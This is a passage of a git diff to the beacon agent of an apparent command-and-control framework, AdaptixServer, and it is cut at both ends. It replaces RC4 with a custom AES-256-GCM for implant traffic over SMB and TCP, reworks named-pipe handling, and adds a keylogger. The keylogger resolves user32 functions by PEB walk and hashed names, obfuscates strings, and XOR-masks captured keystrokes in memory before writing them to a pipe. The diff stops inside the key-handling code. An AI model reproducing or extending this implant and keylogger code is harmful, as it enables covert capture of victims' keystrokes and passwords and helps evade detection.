0; + NumberOfBytesWritten = 0; + while (1) { + size = data_size - index; + if (data_size - index > 0x2000) + size = 0x2000; + + if ( !this->functions->WriteFile(this->hChannel, data + index, size, &NumberOfBytesWritten, 0) ) + break; + + index += NumberOfBytesWritten; + if (index >= data_size) + break; + } } - index += nWritten; + this->functions->FlushFileBuffers(this->hChannel); } -} -void ConnectorSMB::ReadIncoming() -{ - ULONG msgLen = this->rdHeader; - if (msgLen == 0 || msgLen > 0x1000000) { - this->connected = FALSE; - return; - } + DWORD totalBytesAvail = 0; + BOOL result = this->functions->PeekNamedPipe(this->hChannel, 0, 0, 0, &totalBytesAvail, 0); + if (result && totalBytesAvail >= 4) { - if (msgLen > this->allocaSize) { - this->recvData = (BYTE*) this->functions->LocalReAlloc(this->recvData, msgLen, 0); - this->allocaSize = msgLen; - } + DWORD NumberOfBytesRead = 0; + DWORD dataLength = 0; + if ( this->functions->ReadFile(this->hChannel, &dataLength, 4, &NumberOfBytesRead, 0) ) { + + if (dataLength > this->allocaSize) { + this->recvData = (BYTE*) this->functions->LocalReAlloc(this->recvData, dataLength, 0); + this->allocaSize = dataLength; + } - ULONG idx = 0; - while (idx < msgLen) { - this->functions->ResetEvent(this->ovRead.hEvent); - DWORD nRead = 0; - if (!this->functions->ReadFile(this->hChannel, this->recvData + idx, msgLen - idx, &nRead, &this->ovRead)) { - DWORD err = this->functions->GetLastError(); - if (err == ERROR_IO_PENDING) { - if (!this->functions->GetOverlappedResult(this->hChannel, &this->ovRead, &nRead, TRUE)) { + NumberOfBytesRead = 0; + int index = 0; + while( this->functions->ReadFile(this->hChannel, this->recvData + index, dataLength - index, &NumberOfBytesRead, 0) && NumberOfBytesRead) { + index += NumberOfBytesRead; + + if (index > dataLength) { this->recvSize = -1; return; } - } else { - this->recvSize = -1; - return; + + if (index == dataLength) + break; } + this->recvSize = index; } - idx += nRead; } - this->recvSize = (int)idx; } BYTE* ConnectorSMB::RecvData() @@ -220,167 +192,54 @@ void ConnectorSMB::Disconnect() void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { - this->recvSize = 0; - if (plainData && plainSize > 0) { - EncryptRC4(plainData, plainSize, sessionKey, 16); - this->SendData(plainData, plainSize); + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); + } else { + this->SendData(NULL, 0); } - if (!this->rdPending) - return; - - DWORD nRead = 0; - if (!this->functions->GetOverlappedResult(this->hChannel, &this->ovRead, &nRead, FALSE)) { - DWORD err = this->functions->GetLastError(); - if (err == ERROR_IO_INCOMPLETE) - return; + if (this->recvSize == 0 && TEB->LastErrorValue == ERROR_BROKEN_PIPE) { + TEB->LastErrorValue = 0; this->connected = FALSE; - this->rdPending = FALSE; return; } - this->rdPending = FALSE; - - if (nRead != 4) { - this->connected = FALSE; - return; - } - - this->ReadIncoming(); if (this->recvSize < 0) { this->connected = FALSE; return; } - if (this->recvSize > 0 && this->recvData) - DecryptRC4(this->recvData, this->recvSize, sessionKey, 16); + if (this->recvSize > 0 && this->recvData) { + int plainLen; + DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen); + this->recvSize = plainLen; + } } void ConnectorSMB::DisconnectInternal() { - if (this->rdPending) { - this->functions->CancelIo(this->hChannel); - DWORD nBytes = 0; - this->functions->GetOverlappedResult(this->hChannel, &this->ovRead, &nBytes, TRUE); - this->rdPending = FALSE; - } - - this->functions->FlushFileBuffers(this->hChannel); - this->functions->DisconnectNamedPipe(this->hChannel); - if (this->allocaSize) { memset(this->recvData, 0, this->allocaSize); this->functions->LocalFree(this->recvData); this->recvData = nullptr; } + this->allocaSize = 0; - this->recvData = nullptr; + this->recvData = nullptr; + + this->functions->FlushFileBuffers(this->hChannel); + this->functions->DisconnectNamedPipe(this->hChannel); } void ConnectorSMB::CloseConnector() { if (this->beat && this->beatSize) { MemFreeLocal((LPVOID*)&this->beat, this->beatSize); - this->beat = nullptr; + this->beat = nullptr; this->beatSize = 0; } - if (this->hTermEvent) { - this->functions->SetEvent(this->hTermEvent); - this->functions->NtClose(this->hTermEvent); - this->hTermEvent = nullptr; - } - if (this->ovRead.hEvent) { - this->functions->NtClose(this->ovRead.hEvent); - this->ovRead.hEvent = nullptr; - } - if (this->hWriteEvent) { - this->functions->NtClose(this->hWriteEvent); - this->hWriteEvent = nullptr; - } this->functions->NtClose(this->hChannel); -} - -void ConnectorSMB::PostHeaderRead() -{ - if (this->rdPending) - return; - - this->rdHeader = 0; - this->functions->ResetEvent(this->ovRead.hEvent); - - DWORD nRead = 0; - BOOL result = this->functions->ReadFile(this->hChannel, &this->rdHeader, 4, &nRead, &this->ovRead); - - if (result) { - this->functions->SetEvent(this->ovRead.hEvent); - this->rdPending = TRUE; - } - else if (this->functions->GetLastError() == ERROR_IO_PENDING) { - this->rdPending = TRUE; - } - else { - this->connected = FALSE; - } -} - -void ConnectorSMB::Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput, DWORD pollIntervalMs) -{ - if (!this->connected || !this->hChannel) - return; - - this->PostHeaderRead(); - if (!this->connected) - return; - - if (this->pivotter) { - for (int _i = 0; _i < (int)this->pivotter->pivots.size(); _i++) { - PivotData* _p = &this->pivotter->pivots[_i]; - if (_p->Type == PIVOT_TYPE_SMB && _p->asyncIO) - this->pivotter->PostPivotHeaderRead(_p); - } - } - - if (hasOutput) - return; - - HANDLE waitHandles[MAXIMUM_WAIT_OBJECTS]; - DWORD handleCount = 0; - - const DWORD IDX_PARENT = handleCount; waitHandles[handleCount++] = this->ovRead.hEvent; - const DWORD IDX_TERM = handleCount; waitHandles[handleCount++] = this->hTermEvent; - const DWORD IDX_WAKEUP = handleCount; - if (wakeupEvent) - waitHandles[handleCount++] = wakeupEvent; - const DWORD IDX_CHILDREN = handleCount; - - if (this->pivotter) { - for (int _i = 0; _i < (int)this->pivotter->pivots.size(); _i++) { - PivotData* _p = &this->pivotter->pivots[_i]; - if (_p->Type == PIVOT_TYPE_SMB && _p->asyncIO && _p->asyncIO->rdPending) { - if (handleCount < MAXIMUM_WAIT_OBJECTS) - waitHandles[handleCount++] = _p->asyncIO->ovRead.hEvent; - } - } - } - - DWORD timeout = pollIntervalMs ? pollIntervalMs : INFINITE; - - if (timeout == INFINITE && this->pivotter) { - for (int _i = 0; _i < (int)this->pivotter->pivots.size(); _i++) { - if (this->pivotter->pivots[_i].Type == PIVOT_TYPE_TCP) { - timeout = 10; - break; - } - } - } - - DWORD result = this->functions->WaitForMultipleObjects(handleCount, waitHandles, FALSE, timeout); - - if (result == WAIT_OBJECT_0 + IDX_TERM) { - this->connected = FALSE; - } - else if (wakeupEvent && result == WAIT_OBJECT_0 + IDX_WAKEUP) { - this->functions->ResetEvent(wakeupEvent); - } } \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp index 7d860cadb..4db804eb0 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorTCP.cpp @@ -274,8 +274,10 @@ void ConnectorTCP::Disconnect() void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) { if (plainData && plainSize > 0) { - EncryptRC4(plainData, plainSize, sessionKey, 16); - this->SendData(plainData, plainSize); + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, plainSize, sessionKey, &encLen); + this->SendData(encData, encLen); + MemFreeLocal((LPVOID*)&encData, encLen); } else { this->SendData(NULL, 0); @@ -287,7 +289,9 @@ void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) } if (this->recvSize > 0 && this->recvData) { - DecryptRC4(this->recvData, this->recvSize, sessionKey, 16); + int plainLen; + DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen); + this->recvSize = plainLen; } } diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp index 9cc8eb395..13479ba20 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.cpp @@ -1,43 +1,330 @@ #include "Crypt.h" +#include "utils.h" -void RC4Init(unsigned char* key, unsigned char* S, int keyLength) { - int i, j = 0; - unsigned char temp; +static const unsigned char g_sbox[256] = { + 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, + 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, + 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, + 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, + 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, + 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, + 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, + 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, + 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, + 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, + 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, + 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, + 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, + 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, + 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, + 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16 +}; - for (i = 0; i < 256; i++) { - S[i] = (unsigned char)i; +static const unsigned char g_rcon[10] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 +}; + +static unsigned char gf_mul(unsigned char a, unsigned char b) { + unsigned char p = 0; + for (int i = 0; i < 8; i++) { + if (b & 1) + p ^= a; + unsigned char hi = a & 0x80; + a <<= 1; + if (hi) + a ^= 0x1b; + b >>= 1; + } + return p; +} + +static void aes256_key_expand(const unsigned char* key, unsigned char* roundKeys) { + unsigned char temp[4]; + int i; + + for (i = 0; i < 32; i++) + roundKeys[i] = key[i]; + + int nk = 8; + int nb = 4; + int nr = 14; + + for (i = nk; i < nb * (nr + 1); i++) { + temp[0] = roundKeys[(i-1)*4 + 0]; + temp[1] = roundKeys[(i-1)*4 + 1]; + temp[2] = roundKeys[(i-1)*4 + 2]; + temp[3] = roundKeys[(i-1)*4 + 3]; + + if (i % nk == 0) { + unsigned char t = temp[0]; + temp[0] = temp[1]; + temp[1] = temp[2]; + temp[2] = temp[3]; + temp[3] = t; + temp[0] = g_sbox[temp[0]]; + temp[1] = g_sbox[temp[1]]; + temp[2] = g_sbox[temp[2]]; + temp[3] = g_sbox[temp[3]]; + temp[0] ^= g_rcon[i/nk - 1]; + } + else if (i % nk == 4) { + temp[0] = g_sbox[temp[0]]; + temp[1] = g_sbox[temp[1]]; + temp[2] = g_sbox[temp[2]]; + temp[3] = g_sbox[temp[3]]; + } + + roundKeys[i*4 + 0] = roundKeys[(i-nk)*4 + 0] ^ temp[0]; + roundKeys[i*4 + 1] = roundKeys[(i-nk)*4 + 1] ^ temp[1]; + roundKeys[i*4 + 2] = roundKeys[(i-nk)*4 + 2] ^ temp[2]; + roundKeys[i*4 + 3] = roundKeys[(i-nk)*4 + 3] ^ temp[3]; + } +} + +static void aes_add_round_key(unsigned char* state, const unsigned char* rk) { + for (int i = 0; i < 16; i++) + state[i] ^= rk[i]; +} + +static void aes_sub_bytes(unsigned char* state) { + for (int i = 0; i < 16; i++) + state[i] = g_sbox[state[i]]; +} + +static void aes_shift_rows(unsigned char* state) { + unsigned char t; + t = state[1]; state[1] = state[5]; state[5] = state[9]; state[9] = state[13]; state[13] = t; + t = state[2]; state[2] = state[10]; state[10] = t; + t = state[6]; state[6] = state[14]; state[14] = t; + t = state[15]; state[15] = state[11]; state[11] = state[7]; state[7] = state[3]; state[3] = t; +} + +static void aes_mix_columns(unsigned char* state) { + for (int c = 0; c < 4; c++) { + int i = c * 4; + unsigned char s0 = state[i], s1 = state[i+1], s2 = state[i+2], s3 = state[i+3]; + state[i+0] = gf_mul(s0, 2) ^ gf_mul(s1, 3) ^ s2 ^ s3; + state[i+1] = s0 ^ gf_mul(s1, 2) ^ gf_mul(s2, 3) ^ s3; + state[i+2] = s0 ^ s1 ^ gf_mul(s2, 2) ^ gf_mul(s3, 3); + state[i+3] = gf_mul(s0, 3) ^ s1 ^ s2 ^ gf_mul(s3, 2); + } +} + +static void aes256_encrypt_block(const unsigned char* roundKeys, const unsigned char* in, unsigned char* out) { + unsigned char state[16]; + memcpy(state, in, 16); + + aes_add_round_key(state, roundKeys); + + for (int r = 1; r < 14; r++) { + aes_sub_bytes(state); + aes_shift_rows(state); + aes_mix_columns(state); + aes_add_round_key(state, roundKeys + r * 16); + } + + aes_sub_bytes(state); + aes_shift_rows(state); + aes_add_round_key(state, roundKeys + 14 * 16); + + memcpy(out, state, 16); +} + +// ========== GCM ========== + +static void gcm_inc32(unsigned char* ctr) { + for (int i = 15; i >= 12; i--) { + if (++ctr[i]) + break; + } +} + +static void ghash_mul(unsigned char* x, const unsigned char* h) { + unsigned char z[16] = {0}; + unsigned char v[16]; + memcpy(v, h, 16); + + for (int i = 0; i < 128; i++) { + if (x[i / 8] & (1 << (7 - (i % 8)))) { + for (int j = 0; j < 16; j++) + z[j] ^= v[j]; + } + unsigned char carry = v[15] & 1; + for (int j = 15; j > 0; j--) + v[j] = (v[j] >> 1) | (v[j-1] << 7); + v[0] >>= 1; + if (carry) + v[0] ^= 0xe1; + } + memcpy(x, z, 16); +} + +static void ghash(const unsigned char* h, const unsigned char* aad, int aadLen, + const unsigned char* ct, int ctLen, unsigned char* out) { + unsigned char x[16] = {0}; + int i, j; + + for (i = 0; i < aadLen; i += 16) { + int blockLen = aadLen - i; + if (blockLen > 16) blockLen = 16; + for (j = 0; j < blockLen; j++) + x[j] ^= aad[i + j]; + ghash_mul(x, h); } - for (i = 0; i < 256; i++) { - j = (j + S[i] + key[i % keyLength]) % 256; - temp = S[i]; - S[i] = S[j]; - S[j] = temp; + for (i = 0; i < ctLen; i += 16) { + int blockLen = ctLen - i; + if (blockLen > 16) blockLen = 16; + for (j = 0; j < blockLen; j++) + x[j] ^= ct[i + j]; + ghash_mul(x, h); } + + unsigned char lenBlock[16] = {0}; + unsigned long long aadBits = (unsigned long long)aadLen * 8; + unsigned long long ctBits = (unsigned long long)ctLen * 8; + lenBlock[0] = (unsigned char)(aadBits >> 56); + lenBlock[1] = (unsigned char)(aadBits >> 48); + lenBlock[2] = (unsigned char)(aadBits >> 40); + lenBlock[3] = (unsigned char)(aadBits >> 32); + lenBlock[4] = (unsigned char)(aadBits >> 24); + lenBlock[5] = (unsigned char)(aadBits >> 16); + lenBlock[6] = (unsigned char)(aadBits >> 8); + lenBlock[7] = (unsigned char)(aadBits); + lenBlock[8] = (unsigned char)(ctBits >> 56); + lenBlock[9] = (unsigned char)(ctBits >> 48); + lenBlock[10] = (unsigned char)(ctBits >> 40); + lenBlock[11] = (unsigned char)(ctBits >> 32); + lenBlock[12] = (unsigned char)(ctBits >> 24); + lenBlock[13] = (unsigned char)(ctBits >> 16); + lenBlock[14] = (unsigned char)(ctBits >> 8); + lenBlock[15] = (unsigned char)(ctBits); + + for (j = 0; j < 16; j++) + x[j] ^= lenBlock[j]; + ghash_mul(x, h); + + memcpy(out, x, 16); } -void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S) { - int i = 0, j = 0, k; - unsigned char temp; +static int aes256_gcm_crypt( + const unsigned char* key, + const unsigned char* iv, int ivLen, + const unsigned char* aad, int aadLen, + const unsigned char* in, int inLen, + unsigned char* out, + unsigned char* tag, int tagLen, + int mode) +{ + unsigned char roundKeys[240]; + aes256_key_expand(key, roundKeys); - for (k = 0; k < dataLength; k++) { - i = (i + 1) % 256; - j = (j + S[i]) % 256; + unsigned char h[16] = {0}; + aes256_encrypt_block(roundKeys, h, h); - temp = S[i]; - S[i] = S[j]; - S[j] = temp; + unsigned char j0[16] = {0}; + if (ivLen == 12) { + memcpy(j0, iv, 12); + j0[15] = 1; + } else { + ghash(h, NULL, 0, iv, ivLen, j0); + } + + unsigned char ctr[16]; + memcpy(ctr, j0, 16); + gcm_inc32(ctr); + + unsigned char keystreamBlock[16]; + for (int i = 0; i < inLen; i += 16) { + aes256_encrypt_block(roundKeys, ctr, keystreamBlock); + gcm_inc32(ctr); + int blockLen = inLen - i; + if (blockLen > 16) blockLen = 16; + for (int j = 0; j < blockLen; j++) + out[i + j] = in[i + j] ^ keystreamBlock[j]; + } - data[k] ^= S[(S[i] + S[j]) % 256]; + const unsigned char* ctData = (mode == 0) ? out : in; + unsigned char ghashResult[16]; + ghash(h, aad, aadLen, ctData, inLen, ghashResult); + + unsigned char encJ0[16]; + aes256_encrypt_block(roundKeys, j0, encJ0); + + unsigned char computedTag[16]; + for (int i = 0; i < 16; i++) + computedTag[i] = ghashResult[i] ^ encJ0[i]; + + if (mode == 0) { + memcpy(tag, computedTag, tagLen); + return 0; + } else { + unsigned char diff = 0; + for (int i = 0; i < tagLen; i++) + diff |= tag[i] ^ computedTag[i]; + return diff ? -1 : 0; } } -void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) { - unsigned char S[256]; - RC4Init(key, S, keyLength); - RC4EncryptDecrypt(data, dataLength, S); +// ========== Public API ========== + +unsigned char* EncryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen) { + int totalLen = AES_GCM_IV_SIZE + dataLen + AES_GCM_TAG_SIZE; + unsigned char* output = (unsigned char*)MemAllocLocal(totalLen); + if (!output) + return NULL; + + unsigned char* iv = output; + for (int i = 0; i < AES_GCM_IV_SIZE; i++) + iv[i] = (unsigned char)(GenerateRandom32() & 0xFF); + + unsigned char* ct = output + AES_GCM_IV_SIZE; + unsigned char* tag = output + AES_GCM_IV_SIZE + dataLen; + + aes256_gcm_crypt(key, iv, AES_GCM_IV_SIZE, NULL, 0, data, dataLen, ct, tag, AES_GCM_TAG_SIZE, 0); + + *outLen = totalLen; + return output; +} + +int DecryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen) { + if (dataLen < AES_GCM_OVERHEAD) + return -1; + + unsigned char* iv = data; + int ctLen = dataLen - AES_GCM_OVERHEAD; + unsigned char* ct = data + AES_GCM_IV_SIZE; + unsigned char* tag = data + AES_GCM_IV_SIZE + ctLen; + + unsigned char* plain = (unsigned char*)MemAllocLocal(ctLen); + if (!plain) + return -1; + + int result = aes256_gcm_crypt(key, iv, AES_GCM_IV_SIZE, NULL, 0, ct, ctLen, plain, tag, AES_GCM_TAG_SIZE, 1); + + if (result == 0) { + memcpy(data, plain, ctLen); + *outLen = ctLen; + } + + MemFreeLocal((LPVOID*)&plain, ctLen); + return result; } -void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) { - EncryptRC4(data, dataLength, key, keyLength); -} \ No newline at end of file +void CryptAES256Stream(unsigned char* data, int dataLen, unsigned char* key) { + unsigned char roundKeys[240]; + aes256_key_expand(key, roundKeys); + + unsigned char ctr[16] = {0}; + ctr[15] = 1; + + unsigned char keystreamBlock[16]; + for (int i = 0; i < dataLen; i += 16) { + aes256_encrypt_block(roundKeys, ctr, keystreamBlock); + gcm_inc32(ctr); + int blockLen = dataLen - i; + if (blockLen > 16) blockLen = 16; + for (int j = 0; j < blockLen; j++) + data[i + j] ^= keystreamBlock[j]; + } +} diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h index 2d2c4bd31..0e8610e78 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Crypt.h @@ -1,9 +1,25 @@ #pragma once -void RC4Init(unsigned char* key, unsigned char* S, int keyLength); +// ========== AES-256-GCM (session encryption) ========== +// Key: 32 bytes, IV: 12 bytes (random), Tag: 16 bytes +// Encrypt output format: [IV(12)] [Ciphertext(dataLen)] [Tag(16)] +// Total output size = 12 + dataLen + 16 = dataLen + 28 +// Decrypt input format: [IV(12)] [Ciphertext(len-28)] [Tag(16)] -void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S); +#define AES_GCM_KEY_SIZE 32 +#define AES_GCM_IV_SIZE 12 +#define AES_GCM_TAG_SIZE 16 +#define AES_GCM_OVERHEAD (AES_GCM_IV_SIZE + AES_GCM_TAG_SIZE) -void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength); +// Returns newly allocated buffer (via MemAllocLocal) containing [IV][Ciphertext][Tag]. +// Caller must free with MemFreeLocal. *outLen set to total output size. +unsigned char* EncryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen); -void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength); \ No newline at end of file +// Decrypts [IV][Ciphertext][Tag] in-place (overwrites input buffer with plaintext). +// Returns 0 on success, -1 on auth failure. *outLen set to plaintext size. +int DecryptAES256GCM(unsigned char* data, int dataLen, unsigned char* key, int* outLen); + +// AES-256-CTR stream cipher: in-place encrypt/decrypt with zero overhead. +// Deterministic keystream from key (counter starts at 1). +// Symmetric: encrypt and decrypt are the same operation. +void CryptAES256Stream(unsigned char* data, int dataLen, unsigned char* key); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h new file mode 100644 index 000000000..e4713ae6d --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/DebugLog.h @@ -0,0 +1,3 @@ +#pragma once + +#define DBG(fmt, ...) ((void)0) diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp new file mode 100644 index 000000000..4248591ad --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Keylogger.cpp @@ -0,0 +1,299 @@ +#include "Keylogger.h" +#include "ApiLoader.h" +#include "ProcLoader.h" +#include "ApiDefines.h" +#include "DebugLog.h" +#include "Obfuscate.h" +#include "utils.h" +#include "WaitMask.h" + +// ─── user32 function typedefs ─────────────────────────────────────────────── + +typedef SHORT (WINAPI *fnGetAsyncKeyState)(int vKey); +typedef BOOL (WINAPI *fnGetKeyboardState)(PBYTE lpKeyState); +typedef int (WINAPI *fnToUnicode)(UINT wVirtKey, UINT wScanCode, const BYTE *lpKeyState, + LPWSTR pwszBuff, int cchBuff, UINT wFlags); +typedef UINT (WINAPI *fnMapVirtualKeyW)(UINT uCode, UINT uMapType); +typedef HWND (WINAPI *fnGetForegroundWindow)(void); +typedef int (WINAPI *fnGetWindowTextW)(HWND hWnd, LPWSTR lpString, int nMaxCount); +typedef DWORD (WINAPI *fnGetWindowThreadProcessId)(HWND hWnd, LPDWORD lpdwProcessId); + +struct User32Api { + fnGetAsyncKeyState GetAsyncKeyState; + fnGetKeyboardState GetKeyboardState; + fnToUnicode ToUnicode; + fnMapVirtualKeyW MapVirtualKeyW; + fnGetForegroundWindow GetForegroundWindow; + fnGetWindowTextW GetWindowTextW; + fnGetWindowThreadProcessId GetWindowThreadProcessId; +}; + +// ─── XOR buffer helpers ───────────────────────────────────────────────────── + +#define KEYLOG_BUFFER_SIZE 4096 +#define KEYLOG_FLUSH_THRESH 256 +#define XOR_KEY_LEN 16 +#define TITLE_INTERVAL_MS 30000 + +static void XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen) +{ + for (ULONG i = 0; i < len; i++) + buf[i] ^= key[i % keyLen]; +} + +static BOOL FlushBuffer(BYTE* buf, ULONG* pLen, BYTE* xorKey, HANDLE pipeWrite) +{ + if (*pLen == 0) + return TRUE; + + // Decrypt in place + XorBuffer(buf, *pLen, xorKey, XOR_KEY_LEN); + + // Write cleartext to pipe + DWORD written = 0; + BOOL ok = ApiWin->WriteFile(pipeWrite, buf, *pLen, &written, NULL); + + // Zero and reset + memset(buf, 0, *pLen); + *pLen = 0; + + // Rotate XOR key + GenerateRandomBytes(xorKey, XOR_KEY_LEN); + + return ok; +} + +static void BufferAppend(BYTE* buf, ULONG* pLen, const BYTE* data, ULONG dataLen, + BYTE* xorKey, HANDLE pipeWrite) +{ + ULONG remaining = dataLen; + const BYTE* src = data; + + while (remaining > 0) { + ULONG space = KEYLOG_BUFFER_SIZE - *pLen; + ULONG chunk = (remaining < space) ? remaining : space; + + // XOR encrypt into buffer + for (ULONG i = 0; i < chunk; i++) { + buf[*pLen + i] = src[i] ^ xorKey[(*pLen + i) % XOR_KEY_LEN]; + } + *pLen += chunk; + src += chunk; + remaining -= chunk; + + // Flush if buffer full or above threshold + if (*pLen >= KEYLOG_FLUSH_THRESH) { + FlushBuffer(buf, pLen, xorKey, pipeWrite); + } + } +} + +static void BufferAppendStr(BYTE* buf, ULONG* pLen, const char* str, + BYTE* xorKey, HANDLE pipeWrite) +{ + BufferAppend(buf, pLen, (const BYTE*)str, StrLenA(str), xorKey, pipeWrite); +} + +// ─── Resolve user32 APIs via PEB walk ─────────────────────────────────────── + +static BOOL ResolveUser32(User32Api* api) +{ + memset(api, 0, sizeof(User32Api)); + + // Try PEB walk first (user32 may already be loaded) + HMODULE hUser32 = GetModuleAddress(HASH_LIB_USER32); + DBG("[keylog] PEB walk user32: %p", hUser32); + + // Fallback: load it + if (!hUser32) { + auto _u32 = OBF("user32.dll"); + hUser32 = ApiWin->LoadLibraryA(_u32); + DBG("[keylog] LoadLibrary user32: %p", hUser32); + } + + if (!hUser32) { + DBG("[keylog] FAIL: user32 not found"); + return FALSE; + } + + api->GetAsyncKeyState = (fnGetAsyncKeyState) GetSymbolAddress(hUser32, HASH_FUNC_GETASYNCKEYSTATE); + api->GetKeyboardState = (fnGetKeyboardState) GetSymbolAddress(hUser32, HASH_FUNC_GETKEYBOARDSTATE); + api->ToUnicode = (fnToUnicode) GetSymbolAddress(hUser32, HASH_FUNC_TOUNICODE); + api->MapVirtualKeyW = (fnMapVirtualKeyW) GetSymbolAddress(hUser32, HASH_FUNC_MAPVIRTUALKEYW); + api->GetForegroundWindow = (fnGetForegroundWindow) GetSymbolAddress(hUser32, HASH_FUNC_GETFOREGROUNDWINDOW); + api->GetWindowTextW = (fnGetWindowTextW) GetSymbolAddress(hUser32, HASH_FUNC_GETWINDOWTEXTW); + api->GetWindowThreadProcessId = (fnGetWindowThreadProcessId)GetSymbolAddress(hUser32, HASH_FUNC_GETWINDOWTHREADPROCESSID); + + DBG("[keylog] APIs: AsyncKey=%p KbState=%p ToUni=%p MapVK=%p FgWnd=%p WndTxt=%p", + api->GetAsyncKeyState, api->GetKeyboardState, api->ToUnicode, + api->MapVirtualKeyW, api->GetForegroundWindow, api->GetWindowTextW); + + // Verify critical APIs + if (!api->GetAsyncKeyState || !api->GetKeyboardState || !api->ToUnicode || !api->MapVirtualKeyW) { + DBG("[keylog] FAIL: critical API missing"); + return FALSE; + } + + return TRUE; +} + +// ─── Process individual key press ─────────────────────────────────────────── + +static void ProcessKey(User32Api* api, int vk, BYTE* buf, ULONG* pLen, + BYTE* xorKey, HANDLE pipeWrite) +{ + // Ignore modifier keys + if (vk == VK_SHIFT || vk == VK_LSHIFT || vk == VK_RSHIFT || + vk == VK_CONTROL || vk == VK_LCONTROL || vk == VK_RCONTROL || + vk == VK_MENU || vk == VK_LMENU || vk == VK_RMENU || + vk == VK_CAPITAL || vk == VK_NUMLOCK || vk == VK_SCROLL) + return; + + // Special keys + switch (vk) { + case VK_RETURN: BufferAppendStr(buf, pLen, "[RET]\n", xorKey, pipeWrite); return; + case VK_BACK: BufferAppendStr(buf, pLen, "[BS]", xorKey, pipeWrite); return; + case VK_TAB: BufferAppendStr(buf, pLen, "[TAB]", xorKey, pipeWrite); return; + case VK_ESCAPE: BufferAppendStr(buf, pLen, "[ESC]", xorKey, pipeWrite); return; + case VK_DELETE: BufferAppendStr(buf, pLen, "[DEL]", xorKey, pipeWrite); return; + case 